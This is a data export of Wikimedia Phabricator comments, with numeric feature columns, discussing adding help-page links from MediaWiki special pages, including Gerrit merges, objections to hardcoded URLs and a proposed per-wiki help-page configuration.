483702,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",It seems a bit blanket statement to say all of those help link are unhelpful. I would argue they are more helpful than harmful and thus there is no need to be able do disable them altogether.,,,1435605086,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,104,,3.0,0.0,3.0,0.0,0.0,10.0,8.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,3.0,0.0,8.0,10.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,10.0,0.0,3.0,5.0,0.0,3.0,0.0,0.0,0.0,3.0,5.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,13.0,0.0,3.0,0.0,5.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.0,10.0,5.0,0.0,3.0,10.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,3.0,3.0,0.0,3.0,0.0,0.0,3.9743589743589745,0.9230769230769231,It seems a bit blanket statement to say all of those help link are unhelpful. I would argue they are more helpful than harmful and thus there is no need to be able do disable them altogether.
483480,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","I've just had a third-party wiki wondering what the point of this is, and as such, how to disable it

```
[15:31:40] <AA-Andrew> I can't really see how it's helpful for it to Link to a media wiki help page though 
```

Of course, hiding it with CSS isn't really disabling it, you're still loading the various assets.

Should there be some sort of config flag for it? I'm not sure...",,,1435588663,,PHID-USER-6vzzsmi22zem6yttr6vp,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,104,,1.0,0.0,0.0,0.0,3.0,7.0,0.0,0.0,0.0,0.0,1.0,6.0,0.0,0.0,1.0,3.0,0.0,11.0,10.0,0.0,1.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,7.0,0.0,6.0,0.0,1.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,11.0,1.0,0.0,0.0,3.0,1.0,0.0,0.0,0.0,1.0,1.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,4.0,4.0,9.0,1.0,1.0,7.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,10.0,10.0,0.0,1.0,0.0,0.0,10.0,0.0,3.0,1.0,0.0,6.0,0.0,0.0,0.0,3.2714285714285714,0.7857142857142857,"I've just had a third-party wiki wondering what the point of this is, and as such, how to disable it

``CODE``

Of course, hiding it with CSS isn't really disabling it, you're still loading the various assets.

Should there be some sort of config flag for it? I'm not sure..."
468328,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Ok, we can call this done for now. We should now go look for extension help pages on mediawiki.org and start adding links from their special pages.",,,1433346304,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,100,,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,7.0,3.0,0.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,3.0,3.0,0.0,0.0,0.0,0.0,13.0,3.0,0.0,0.0,10.0,13.0,0.0,0.0,0.0,0.0,10.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,4.033333333333333,0.8666666666666667,"Ok, we can call this done for now. We should now go look for extension help pages on mediawiki.org and start adding links from their special pages."
467120,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","* https://gerrit.wikimedia.org/r/194418 (branch master): #mw1.26, #mw1.26wmf9
",,,1433203246,,PHID-USER-n4kveqwjjlpsb6ydn73h,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,100,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,33.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.8333333333333335,0.9166666666666666,"* GERRIT_URL (branch master): #mw1.26, #mw1.26wmf9
"
467112,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 194418 merged by jenkins-bot:
Add help link for 8 more special pages

[[https://gerrit.wikimedia.org/r/194418]]",,,1433202431,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,100,,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,13.0,3.4782608695652173,0.9130434782608695,"Change 194418 merged by jenkins-bot:
Add help link for 8 more special pages

[[GERRIT_URL]]"
459460,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 211100 merged by jenkins-bot:
Allow to customise addHelpLink() target via system message

[[https://gerrit.wikimedia.org/r/211100]]",,,1431721124,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,97,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.92,"Change 211100 merged by jenkins-bot:
Allow to customise addHelpLink() target via system message

[[GERRIT_URL]]"
459199,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Once 8082c5f4f0a6c44bca1797470723089bc1d1ff03 is merged, this can be closed. Adding new help pages and links will then be an ongoing process as part of [[Project:PD Help]], as well as an easy matter of customisation by local wikis where needed.",,,1431687767,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,97,,0.0,0.0,0.0,4.0,0.0,8.0,2.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,10.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,4.0,6.0,10.0,2.0,2.0,6.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,10.0,4.0,0.0,0.0,0.0,0.0,0.0,2.0,4.0,0.0,2.0,0.0,0.0,4.0,4.3125,0.8125,"Once 8082c5f4f0a6c44bca1797470723089bc1d1ff03 is merged, this can be closed. Adding new help pages and links will then be an ongoing process as part of [[Project:PD Help]], as well as an easy matter of customisation by local wikis where needed."
459197,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 211100 had a related patch set uploaded (by Nemo bis):
Allow to customise addHelpLink() target via system message

[[https://gerrit.wikimedia.org/r/211100]]
",,,1431686968,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,97,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.870967741935484,0.8709677419354839,"Change 211100 had a related patch set uploaded (by Nemo bis):
Allow to customise addHelpLink() target via system message

[[GERRIT_URL]]
"
459196,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 208378 merged by jenkins-bot:
Allow to customise addHelpLink() target via system message

[[https://gerrit.wikimedia.org/r/208378]]",,,1431686573,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,97,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,24.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,4.0,0.0,0.0,12.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,12.0,4.0,0.92,"Change 208378 merged by jenkins-bot:
Allow to customise addHelpLink() target via system message

[[GERRIT_URL]]"
452844,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 208378 had a related patch set uploaded (by Nemo bis):
Allow to customise addHelpLink() target via system message

[[https://gerrit.wikimedia.org/r/208378]]
",,,1430566779,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,95,,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,10.0,0.0,3.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,13.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,6.0,0.0,3.0,0.0,0.0,10.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,10.0,3.870967741935484,0.8709677419354839,"Change 208378 had a related patch set uploaded (by Nemo bis):
Allow to customise addHelpLink() target via system message

[[GERRIT_URL]]
"
449251,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1231734, @Multichill wrote:
> Already disabled on dewp (https://de.wikipedia.org/w/index.php?title=MediaWiki%3ACommon.css&diff=140838650&oldid=140486784). 

And i am inclined to switch this of on commons... It is not helpful. It is not linking to the commons policy's, but to some MW page.

",,,1430042303,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,94,,3.0,0.0,0.0,0.0,5.0,5.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,5.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,8.0,0.0,5.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,14.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,3.0,0.0,0.0,0.0,0.0,0.0,3.0,8.0,16.0,0.0,5.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,8.0,14.0,5.0,0.0,0.0,0.0,8.0,0.0,0.0,0.0,0.0,3.0,0.0,0.0,0.0,3.27027027027027,0.7567567567567568,"QUOTE
QUOTE

And i am inclined to switch this of on commons... It is not helpful. It is not linking to the commons policy's, but to some MW page.

"
448313,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Just had a look at http://git.wikimedia.org/blob/mediawiki%2Fcore.git/0a33db75cb2afd0879512b7a3cc2ec5b63d9ae5e/includes%2FOutputPage.php#L1408 . Hardcoded url? No message? Are you serious?

Already disabled on dewp (https://de.wikipedia.org/w/index.php?title=MediaWiki%3ACommon.css&diff=140838650&oldid=140486784). 

Including some help is a good idea, but the implementation should be improved so that the url is not hardcoded.",,,1429810113,,PHID-USER-cw4amt4ewxdze5qcjdca,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,94,,2.0,0.0,0.0,4.0,2.0,4.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,9.0,0.0,0.0,2.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,19.0,0.0,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,9.0,9.0,17.0,4.0,2.0,13.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,2.0,9.0,0.0,6.0,0.0,0.0,2.0,0.0,0.0,4.0,0.0,2.0,0.0,0.0,0.0,3.74468085106383,0.8085106382978723,"Just had a look at URL . Hardcoded url? No message? Are you serious?

Already disabled on dewp (URL 

Including some help is a good idea, but the implementation should be improved so that the url is not hardcoded."
447625,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1139342, @Nemo_bis wrote:
>>>! In T45591#1139318, @matmarex wrote:
>> Outstanding patches:
>> * https://gerrit.wikimedia.org/r/#/c/194418/ ""[WIP] Add link to Meta-Wiki help pages from several special pages""
> 
> This is the one which needs most discussion/help.

The pages in question are:
* https://meta.wikimedia.org/wiki/Help:User_contributions
* https://meta.wikimedia.org/wiki/Help:Export
* https://meta.wikimedia.org/wiki/Help:Import
* https://meta.wikimedia.org/wiki/Help:Linksearch
* https://meta.wikimedia.org/wiki/Special:MyLanguage/Help:Recent_changes
* https://meta.wikimedia.org/wiki/Help:Related_changes
* https://meta.wikimedia.org/wiki/Help:Watching_pages
* https://meta.wikimedia.org/wiki/Help:What_links_here",,,1429700039,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,94,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,7.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,2.0,36.0,0.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.0,29.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,2.357142857142857,0.2619047619047619,"QUOTE
QUOTE
QUOTE
QUOTE
QUOTE
QUOTE

The pages in question are:
* URL
* URL
* URL
* URL
* URL
* URL
* URL
* URL"
447622,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",https://commons.wikimedia.org/wiki/Commons:Village_pump#Help_topicons_linking_to_external_help_pages_soon_displayed_everywhere.3F,,,1429699178,,PHID-USER-nuf2sujf7qrx4v5ixbs3,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,94,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,100.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,3.0,1.0,URL
440866,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",Thanks Legoktm! If there is interest in a backport I can work on https://gerrit.wikimedia.org/r/#/c/194418/ this week.,,,1428562052,,PHID-USER-v7bwpq3rs3zdxegibdbh,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,92,,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,0.0,6.0,6.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,28.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,6.0,6.0,28.0,6.0,0.0,11.0,0.0,0.0,6.0,0.0,6.0,0.0,0.0,0.0,6.0,17.0,6.0,0.0,0.0,0.0,6.0,0.0,0.0,6.0,0.0,0.0,0.0,0.0,0.0,3.5555555555555554,1.0,Thanks Legoktm! If there is interest in a backport I can work on URL this week.
440769,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 202968 merged by jenkins-bot:
Add help link to three rather important pages

[[https://gerrit.wikimedia.org/r/202968]]",,,1428541016,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,92,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,9.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.782608695652174,0.9130434782608695,"Change 202968 merged by jenkins-bot:
Add help link to three rather important pages

[[GERRIT_URL]]"
440758,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 202968 had a related patch set uploaded (by Legoktm):
Add help link to three rather important pages

[[https://gerrit.wikimedia.org/r/202968]]
",,,1428540221,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,92,,0.0,0.0,0.0,0.0,0.0,11.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,7.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,14.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,4.0,0.0,14.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,7.0,0.0,7.0,0.0,0.0,7.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,11.0,3.8214285714285716,0.8928571428571429,"Change 202968 had a related patch set uploaded (by Legoktm):
Add help link to three rather important pages

[[GERRIT_URL]]
"
440753,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","Change 194414 merged by jenkins-bot:
Add help link to three rather important pages

[[https://gerrit.wikimedia.org/r/194414]]",,,1428540082,,PHID-USER-idceizaw6elwiwm5xshb,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,92,,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,9.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,17.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,4.0,0.0,0.0,0.0,0.0,0.0,13.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,9.0,0.0,9.0,0.0,0.0,9.0,4.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,0.0,13.0,3.782608695652174,0.9130434782608695,"Change 194414 merged by jenkins-bot:
Add help link to three rather important pages

[[GERRIT_URL]]"
434452,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.",">>! In T45591#1159175, @PerfektesChaos wrote:
> Local confguration needs more emphasis.
> * At least a system message should be taken into account by the implementation.

This is valid point which can have it's own task.

> * Icons might be cultural dependant (CJK, arabic, hebrew) and should be configurable per system message – a greek question mark is a semicolon.

This can also be a separate task. We already do localised images in couple of places. I do disagree though that it needs to be configurable per system message.

> Rather than maintaining system messages for each page by each project, a wikifarm with a wikibase could make use of that knowledge. (Okay, WMF might be the only one, but is among the top ten websites)

This can already be achieved with the approach WikimediaMessages is using if we implement overrides with system messages.

> I would like to see in CommonSettings.php something like

Your proposal sounds very complicated, we already have standard way to handle these as explained above.

> I wonder whether the entire helppage link business should stay in core or should be turned into an extension.

It was just moved to core so that each extension does not implement a different way to do it. Definitely not to be moved to an extension.
",,,1427541261,,PHID-USER-732lqsmz4v6bss3kln2v,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,True,,,90,,1.0,0.0,1.0,2.0,1.5,4.5,1.5,0.0,0.5,1.0,1.5,0.0,0.0,0.0,0.0,2.5,0.0,7.0,11.5,0.0,3.5,0.0,1.0,0.0,1.0,0.0,0.0,1.0,1.5,0.0,0.0,6.5,0.0,2.5,1.0,1.0,0.0,0.0,0.0,1.5,0.0,0.0,0.0,1.5,0.0,0.5,0.0,0.0,0.0,13.0,1.5,2.0,0.0,2.0,0.0,0.0,0.0,0.0,0.0,0.0,1.0,2.5,0.0,0.0,0.0,0.5,0.0,2.5,4.5,9.5,3.5,0.0,6.0,0.0,0.0,0.0,0.0,5.5,0.0,0.0,0.0,6.0,11.5,1.5,0.0,0.0,0.0,6.0,0.0,0.5,2.0,0.0,1.0,0.0,0.0,0.0,4.108894230769231,0.6979567307692307,"QUOTE
QUOTE
QUOTE

This is valid point which can have it's own task.

QUOTE

This can also be a separate task. We already do localised images in couple of places. I do disagree though that it needs to be configurable per system message.

QUOTE

This can already be achieved with the approach WikimediaMessages is using if we implement overrides with system messages.

QUOTE

Your proposal sounds very complicated, we already have standard way to handle these as explained above.

QUOTE

It was just moved to core so that each extension does not implement a different way to do it. Definitely not to be moved to an extension.
"
434442,"Link translatable help pages on mediawiki.org from the relevant special pages, actions etc.","This is an interesting feature for small WMF wikis and external sites, but would confuse users on wikis with well equipped user guidance (e.g. English or German Wikipedia).
* Most confusing are two offers, which might happen in German Wikipedia right now.
* Local pages often provide local policies (deletion!) and specific links to related project pages which cannot be achieved with a world wide non-WMF general explanation.
* https://www.wikidata.org/wiki/Q395887 shows present local support just for one issue. I count 60 existing local pages. (The 61st would be: mw:Help:Moving_a_page)

Local confguration needs more emphasis.
* At least a system message should be taken into account by the implementation.
* Icons might be cultural dependant (CJK, arabic, hebrew) and should be configurable per system message – a greek question mark is a semicolon.

Rather than maintaining system messages for each page by each project, a wikifarm with a wikibase could make use of that knowledge. (Okay, WMF might be the only one, but is among the top ten websites)

I would like to see in CommonSettings.php something like
  $wgHelpPages = array()
That may be used explicitly to hard-code page links by any other site.

However, one entry could look like
  $wgHelpPages['special-movepage']['item'] = 395887;

For performance reasons evaluation of the wikibase item is probably not desirable each time a special page is requested by readers.
* Every 24h or once a week that array might be populated and refreshed like:
```
  lang=php
  $wgHelpPages['special-movepage']['pages'] = array(
            'alswiki' => 'Hilfe:Artikel verschieben',
            'dewiki' => 'Hilfe:Seite verschieben',
            'enwiki' => 'Wikipedia:Moving a page',
            ...
```
* Time scheduling and triggering the update might be controlled by something like
```
  $wgHelpPages['UpdateInterval'] = 24;
```
* The same entries might be provided manually by external sites which happen to have their own guidance, but no wikibase and no update service.
I wonder whether the entire helppage link business should stay in core or should be turned into an extension.
* A (help/any) page mapping and linking mechanism might be used in many fields, not only with special pages.
* Various configurations done with system message today might migrate towards wikibase in the future.
* The MW TemplateData gadget e.g. could be equipped by https://www.wikidata.org/wiki/Q14505594 rather than [[MediaWiki:templatedata-helplink-target]].
",,,1427533210,,PHID-USER-3imz37uve2wfuuub5eq6,False,,,PHID-TASK-tgulnwlt3ym3t3u4alzn,task_subcomment,,True,c1,3,False,,,90,,1.4,0.2,0.0,2.0,0.6,8.6,1.2,0.0,0.0,0.0,1.8,0.2,0.0,0.4,0.0,0.6,0.2,4.0,8.6,0.2,0.4,0.8,0.0,0.0,0.0,0.2,0.0,0.0,2.6,0.6,0.0,2.4,0.6,0.0,0.2,0.0,0.0,0.2,0.4,0.2,0.4,0.2,0.6,2.0,0.8,0.2,0.0,0.0,0.0,16.0,0.4,0.4,0.2,0.6,0.2,0.2,0.0,0.0,0.4,0.0,0.2,0.2,0.0,0.0,0.0,0.4,0.0,4.0,3.8,7.8,0.2,2.4,7.0,0.0,0.0,0.2,0.0,4.8,0.2,1.6,0.0,1.0,8.6,2.8,0.0,0.2,0.0,1.0,0.0,0.6,2.0,0.0,0.6,0.2,0.4,0.4,4.135458276333789,0.7775376196990423,"This is an interesting feature for small WMF wikis and external sites, but would confuse users on wikis with well equipped user guidance (e.g. English or German Wikipedia).
* Most confusing are two offers, which might happen in German Wikipedia right now.
* Local pages often provide local policies (deletion!) and specific links to related project pages which cannot be achieved with a world wide non-WMF general explanation.
* URL shows present local support just for one issue. I count 60 existing local pages. (The 61st would be: mw:Help:Moving_a_page)

Local confguration needs more emphasis.
* At least a system message should be taken into account by the implementation.
* Icons might be cultural dependant (CJK, arabic, hebrew) and should be configurable per system message – a greek question mark is a semicolon.

Rather than maintaining system messages for each page by each project, a wikifarm with a wikibase could make use of that knowledge. (Okay, WMF might be the only one, but is among the top ten websites)

I would like to see in CommonSettings.php something like
  $wgHelpPages = array()
That may be used explicitly to hard-code page links by any other site.

However, one entry could look like
  $wgHelpPages['special-movepage']['item'] = 395887;

For performance reasons evaluation of the wikibase item is probably not desirable each time a special page is requested by readers.
* Every 24h or once a week that array might be populated and refreshed like:
``CODE`CODE`CODE``
